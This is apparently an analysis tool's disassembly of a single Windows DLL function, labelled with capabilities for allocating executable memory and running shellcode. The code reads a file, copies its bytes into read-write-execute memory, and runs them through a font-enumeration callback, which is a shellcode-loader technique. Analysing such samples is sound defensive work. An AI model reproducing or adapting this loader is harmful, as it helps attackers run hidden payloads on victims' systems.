Function at 0x180001cb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
mov qword [rbp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor ebx, ebx
mov dword [rbp + 0x80], ebx
lea rax, [0x180019e00]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x80], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp], rax
mov qword [rsp + 0x58], rbx
lea rcx, [rbp]
call fcn.180001ae0
lea r11, [rsp + 0x60]
mov qword [rbp + 0x48], r11
mov qword [rbp + 0x50], rbx
lea rcx, [rbp]
call fcn.180003a30
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], rbx
jne 0x180001d3c
mov edx, dword [rbp + 0x10]
or edx, 4
xor r8d, r8d
lea rcx, [rbp]
call fcn.180001970
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.180003260
nop
lea rcx, [rsp + 0x60]
call fcn.180003300
test rax, rax
jne 0x180001d92
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001d89
or edx, 4
xor r8d, r8d
call fcn.180001970
nop
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x180001dd4
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x30]
jmp 0x180001ddb
mov rax, qword [0x1800164e0]
movsxd rdi, ebx
add rdi, rax
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x180001e47
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x1800164e0]
jne 0x180001e47
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001e3f
or edx, 4
xor r8d, r8d
call fcn.180001970
mov rcx, rdi
call fcn.180004904
mov rsi, rax
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180002060
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x180001ead
mov rcx, rsi
call fcn.180006054
lea rcx, [rsp + 0x60]
call fcn.1800033f0
test rax, rax
jne 0x180001ead
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001ea5
or edx, 4
xor r8d, r8d
call fcn.180001970
lea rcx, [rsp + 0x60]
call fcn.1800033f0
test rax, rax
jne 0x180001ee2
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x180001eda
or edx, 4
xor r8d, r8d
call fcn.180001970
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.180004e50
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontFamiliesW]
nop
lea rcx, [rbp]
call fcn.180002450
lea r11, vtable.std::ios_base.0
mov qword [rbp], r11
lea rcx, [rbp]
call fcn.1800041fc
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret